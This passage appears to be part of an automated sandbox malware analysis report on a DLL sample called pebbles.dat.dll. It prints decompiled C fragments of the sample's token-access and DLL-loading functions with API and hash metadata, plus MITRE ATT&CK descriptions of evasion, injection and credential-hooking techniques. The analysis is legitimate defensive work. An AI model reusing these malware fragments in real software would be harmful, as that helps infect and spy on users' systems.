									_t162 =  *_t272;
									__eflags =  *(_t162 + 4);
									if( *(_t162 + 4) == 0) {
										__eflags = _t235 - _t258;
										if(_t235 <= _t258) {
											goto L49;
										}
									}
								}
							} else {
								__eflags = _t222 - 4;
								if(_t222 == 4) {
									goto L46;
								}
							}
						}
						asm("sbb edi, edi");
						_t271 =  ~_t269 & 0x00000002;
						__eflags = _t271;
						return _t271;
					} else {
						__eflags = _t218 - 4;
						if(_t218 == 4) {
							goto L34;
						} else {
							_t173 =  *_t272;
							__eflags =  *(_t173 + 4);
							if( *(_t173 + 4) != 0) {
								goto L34;
							} else {
								_t88 = _t272 + 0x5c; // 0xee85000
								__eflags = _t254 -  *_t88;
								if(_t254 !=  *_t88) {
									goto L34;
								} else {
									return 1;
								}
							}
						}
					}
				} else {
					return 3;
				}
			}

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0x0446438f
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APIs

memcpy.MSVCRT ref: 0446426D
memcpy.MSVCRT ref: 044642E4
memcpy.MSVCRT ref: 04464313
memcpy.MSVCRT ref: 0446433F
memcpy.MSVCRT ref: 044643F4

Part of subcall function 04467180: memcpy.MSVCRT ref: 0446725E

Part of subcall function 04465EE0: memcpy.MSVCRT ref: 04465F0A

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 03b0abeb86da1b833a58bdc3ae0fa7b72a6af37fe1020f7e2813aec2e01359af
Instruction ID: c258453cb33296875341aecad9ea9a2cb40563468fbecd199e2f466032c2028b
Opcode Fuzzy Hash: 03b0abeb86da1b833a58bdc3ae0fa7b72a6af37fe1020f7e2813aec2e01359af
Instruction Fuzzy Hash: 83D112756006009FDF24CF6DC9C596AB7E1AF88348B24892EE88AC7705D731F9458B5A

Uniqueness

Uniqueness Score: -1.00%

Function 0445C92F Relevance: 6.0, APIs: 4, Instructions: 33
threadCOMMON

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C-Code - Quality: 100%

			E0445C92F(void* __ecx) {
				void* _v8;
				void* _t10;
				intOrPtr _t13;

				if(OpenThreadToken(GetCurrentThread(), 8, 0,  &_v8) != 0) {
					L4:
					_t10 = _v8;
				} else {
					if(GetLastError() != 0x3f0) {
						L3:
						_t10 = 0;
					} else {
						_t13 =  *0x446f8d0; // 0x450f8c0
						if(OpenProcessToken( *((intOrPtr*)(_t13 + 0x12c))(), 8,  &_v8) != 0) {
							goto L4;
						} else {
							goto L3;
						}
					}
				}
				return _t10;
			}

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0x0445c985

APIs

GetCurrentThread.KERNEL32 ref: 0445C942
OpenThreadToken.ADVAPI32(00000000,?,?,0445CA74,00000000,04450000), ref: 0445C949
GetLastError.KERNEL32(?,?,0445CA74,00000000,04450000), ref: 0445C950
OpenProcessToken.ADVAPI32(00000000,?,?,0445CA74,00000000,04450000), ref: 0445C975

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Yara matches

Similarity

API ID: OpenThreadToken$CurrentErrorLastProcess
String ID:
API String ID: 1515895013-0
Opcode ID: 6c462484898afd8cfe3cce78c8ae242791a11853f0a818f8d52f86780fe0d144
Instruction ID: 6304ae483b5fcc8a147be627e2feae48f0f118a0ff30bd294962cb2a45e2af1e
Opcode Fuzzy Hash: 6c462484898afd8cfe3cce78c8ae242791a11853f0a818f8d52f86780fe0d144
Instruction Fuzzy Hash: 5FF03A72A00605EBEF109FB4D849FAA73ECFB08600F001492EA46D3161E774FD048B61

Uniqueness

Uniqueness Score: -1.00%

Function 0445D309 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 117
libraryCOMMON

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C-Code - Quality: 89%

			E0445D309(void* __ebx, void* __edx, void* __edi, void* __esi) {
				char _v8;
				char _v12;
				char _v140;
				signed char _t14;
				char _t15;
				intOrPtr _t20;
				void* _t25;
				intOrPtr _t26;
				intOrPtr _t32;
				WCHAR* _t34;
				intOrPtr _t35;
				struct HINSTANCE__* _t37;
				intOrPtr _t38;
				intOrPtr _t46;
				void* _t47;
				intOrPtr _t50;
				void* _t60;
				void* _t61;
				char _t62;
				void* _t65;
				intOrPtr _t66;
				char _t68;

				_t65 = __esi;
				_t61 = __edi;
				_t47 = __ebx;
				_t50 =  *0x446f8d4; // 0x450fc00
				_t1 = _t50 + 0x1898; // 0x0
				_t14 =  *_t1;
				if(_t14 == 0x100 ||  *((intOrPtr*)(_t50 + 4)) >= 0xa && (_t14 & 0x00000004) != 0) {
					_t15 = E04459F85(_t50, 0xb9d);
					_t66 =  *0x446f8d4; // 0x450fc00
					_t62 = _t15;
					_t67 = _t66 + 0xb0;
					_v8 = _t62;
					E04459FE4( &_v140, 0x40, L"%08x", E0445E34A(_t66 + 0xb0, E0445A5D0(_t66 + 0xb0), 0));
					_t20 =  *0x446f8d4; // 0x450fc00
					_t7 = _t20 + 0xa8; // 0x1
					asm("sbb eax, eax");
					_t25 = E04459F85(_t67, ( ~( *_t7) & 0xfffffeb6) + 0xded);
					_t26 =  *0x446f8d4; // 0x450fc00
					_t68 = E04459C50(_t26 + 0x1020);
					_v12 = _t68;
					E04458D9A( &_v8);
					_t32 =  *0x446f8d4; // 0x450fc00
					_t34 = E04459C50(_t32 + 0x122a);
					 *0x446f9d4 = _t34;
					_t35 =  *0x446f8d0; // 0x450f8c0
					 *((intOrPtr*)(_t35 + 0x11c))(_t68, _t34, 0, 0x446c9d8,  &_v140, ".", L"dll", 0, 0x446c9d8, _t25, 0x446c9d8, _t62, 0, _t61, _t65, _t47);
					_t37 = LoadLibraryW( *0x446f9d4);
					 *0x446f9cc = _t37;
					if(_t37 == 0) {
						_t38 = 0;
					} else {
						_push(_t37);
						_t60 = 0x28;
						_t38 = E0445F08E(0x446cbc4, _t60);
					}
					 *0x446f9d0 = _t38;
					E04458DDF( &_v12, 0xfffffffe);
					E04458F63( &_v140, 0, 0x80);
					if( *0x446f9d0 != 0) {
						goto L10;
					} else {
						E04458DDF(0x446f9d4, 0xfffffffe);
						goto L8;
					}
				} else {
					L8:
					if( *0x446f9d0 == 0) {
						_t46 =  *0x446f908; // 0x450fa00
						 *0x446f9d0 = _t46;
					}
					L10:
					return 1;
				}
			}

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APIs

LoadLibraryW.KERNEL32 ref: 0445D403

Strings

%08x, xrefs: 0445D36A
dll, xrefs: 0445D3C5

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Yara matches

Similarity

API ID: LibraryLoad
String ID: %08x$dll
API String ID: 1029625771-2963171978
Opcode ID: 7b35645f2ecc05e6d49bcd383f8847a14897891319b26da54300dcd5c9ef377e
Instruction ID: a46a3172720312265ddf4eaba7a3b3e57bdea603ee55b3acbc2e01c7deb4b925
Opcode Fuzzy Hash: 7b35645f2ecc05e6d49bcd383f8847a14897891319b26da54300dcd5c9ef377e
Instruction Fuzzy Hash: 423175B2A00604FBFF10AB69EC45F5A32ECEB45618F14416BF949D7192DF38BD488B52

Uniqueness

Uniqueness Score: -1.00%

Function 044636D5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
stringCOMMON

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C-Code - Quality: 47%

			E044636D5(void* __eflags, long long __fp0, intOrPtr _a4, intOrPtr _a8, signed int _a12) {
				char _v5;
				long long _v12;
				short _v20;
				signed int _t15;
				void* _t16;
				signed int _t22;
				char _t25;
				void* _t26;
				signed int _t28;
				intOrPtr _t29;
				void* _t31;
				char** _t32;
				long long _t40;
				long long _t41;

				_t40 = __fp0;
				_t15 = E044635EE(_a4);
				 *_t32 = "msxml32.dll";
				_t28 = _t15 & 0x0fffffff;
				_t16 = E0445A5D0();
				_t26 = 0xf;
				_t25 = 0;
				_v5 = 0;
				if(_t16 > _t26) {
					L2:
					_t3 = _t25 + 0x41; // 0x41
					 *((char*)(_t31 + _t25 - 0x10)) = _t3;
					_t25 = _t25 + 1;
				} else {
					_t26 = _t16;
					if(_t26 != 0) {
						do {
							goto L2;
						} while (_t25 < _t26);
					}
				}
				lstrlenW( &_v20);
				_t29 = _a8;
				_t22 = _a12 - _t29 + 1;
				_a12 = _t22;
				asm("fild dword [ebp+0x10]");
				if(_t22 < 0) {
					_t40 = _t40 +  *0x446cf90;
				}
				_a12 = _t28;
				_v12 = _t40;
				_t41 = _v12;
				asm("fild dword [ebp+0x10]");
				if(_t28 < 0) {
					_t41 = _t41 +  *0x446cf90;
				}
				_v12 = _t41;
				asm("fmulp st1, st0");
				L04468995();
				return _t29 - _t22;
			}

0x044636d5
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0x0446376b

APIs

lstrlenW.KERNEL32(?,000000B0,000000B0,?,00000000,000000B0,00000228), ref: 0446371C
_ftol2_sse.MSVCRT ref: 0446375F

Strings

msxml32.dll, xrefs: 044636E7

Memory Dump Source

Source File: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, Offset: 04450000, based on PE: true

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Yara matches

Similarity

API ID: _ftol2_sselstrlen
String ID: msxml32.dll
API String ID: 1292649733-2051705522
Opcode ID: 18dbaf781ce2a09ca94abcd8221a6e6974386771e8ac56f3d0f6b5304ce5358c
Instruction ID: 702a88be912072da4474c0aad0bd2f8935f2e8e6b438e85ef66a42407c6aff8a
Opcode Fuzzy Hash: 18dbaf781ce2a09ca94abcd8221a6e6974386771e8ac56f3d0f6b5304ce5358c
Instruction Fuzzy Hash: 9D1108B2A00289EBDF009F69E8044DE7FB5FF84314F26866ADC5696246EB70E5648342

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	API monitoring, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Windows Analysis Report pebbles.dat.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\Desktop\pebbles.dat.dll

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Possible Origin

Network Behavior

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Windows Analysis Report
pebbles.dat.dll

Function 0099D538 Relevance: 28.2, APIs: 12, Strings: 4, Instructions: 223
nativeregistrymemoryCOMMON

Function 0099DFC2 Relevance: 17.8, APIs: 5, Strings: 5, Instructions: 250
COMMON

Function 0099D9DE Relevance: 6.1, APIs: 4, Instructions: 89
nativethreadCOMMON

Function 0099EF38 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95
libraryloaderCOMMON

Function 0099BAF6 Relevance: 4.6, APIs: 3, Instructions: 66
processCOMMON

Function 0099C778 Relevance: 6.1, APIs: 4, Instructions: 83
stringCOMMON

Function 00998BCD Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 94
stringCOMMON

Function 0099C986 Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Function 0099BE10 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40
processCOMMON

Function 0099D889 Relevance: 3.1, APIs: 2, Instructions: 120
COMMON

Function 00996603 Relevance: 3.1, APIs: 2, Instructions: 78
threadCOMMON

Function 0099F0D9 Relevance: 3.0, APIs: 2, Instructions: 35
libraryCOMMON

Function 0099CA5A Relevance: 1.6, APIs: 1, Instructions: 82
COMMON

Function 009963A2 Relevance: 1.5, APIs: 1, Instructions: 40
COMMON